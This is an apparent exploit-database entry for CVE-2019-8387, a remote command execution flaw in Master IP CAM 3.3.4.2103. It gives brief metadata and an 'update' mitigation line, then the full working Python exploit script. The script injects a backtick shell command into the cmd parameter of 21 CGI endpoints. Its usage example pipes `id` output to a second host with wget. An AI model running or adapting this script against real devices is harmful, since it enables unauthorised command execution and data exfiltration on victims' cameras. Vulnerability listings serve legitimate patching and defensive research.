Master IP CAM 01 Remote Command Execution

vendor:

Master IP CAM

by:

Raffaele Sabato

9.8

CVSS

CRITICAL

Remote Command Execution

CWE

Product Name: Master IP CAM

Affected Version From: 3.3.4.2103

Affected Version To: Latest version

Patch Exists: YES

Related CWE: CVE-2019-8387

CPE: a:master_ip_cam:master_ip_cam:3.3.4.2103

Metasploit:

Other Scripts:

Platforms Tested:

2019

Master IP CAM 01 Remote Command Execution

This exploit allows an attacker to execute remote commands on Master IP CAM version 3.3.4.2103. The vulnerability is identified as CVE-2019-8387.

Mitigation:

It is recommended to update to the latest version of Master IP CAM to mitigate this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: Master IP CAM 01 Remote Command Execution
# Date: 09-02-2019
# Remote: Yes
# Exploit Authors: Raffaele Sabato
# Contact: https://twitter.com/syrion89
# Vendor: Master IP CAM
# Version: 3.3.4.2103
# CVE: CVE-2019-8387

import sys
import requests


if len(sys.argv) < 3:
	print "[-] Usage: python MasterIpCamRCE.py <ip> <cmd>"
  	print "[-] Example: python MasterIpCamRCE.py 192.168.1.54 'wget http://192.168.1.55:4444/$(id)'"
  	exit(1)

host = sys.argv[1]
command = sys.argv[2]
page = [
		"bconf.cgi",
		"ddns_start.cgi",
		"getddnsattr.cgi",
		"getinetattr.cgi",
		"getnettype.cgi",
		"getupnp.cgi",
		"getwifiattr.cgi",
		"getwifistatus.cgi",
		"inetconfig.cgi",
		"iptest.cgi",
		"listwifiap.cgi",
		"p2p.cgi",
		"paraconf.cgi",
		"scanwifi.cgi",
		"setadslattr.cgi",
		"setddnsattr.cgi",
		"setinetattr.cgi",
		"setwifiattr.cgi",
		"upnp_start.cgi",
		"wifimode.cgi",
		"wifitest.cgi",
		]
for x in page:
	url = "http://"+host+"/cgi-bin/"+x+"?cmd=`"+command+"`"
	#url = "http://"+host+"/cgi-bin/"+x+"?action=`"+command+"`"
	print "[*] Attack on "+x
	print "[+] Sending the payload"
	r = requests.get(url)
	if r.status_code == 200:
		print "[+] Exploit Success"
		break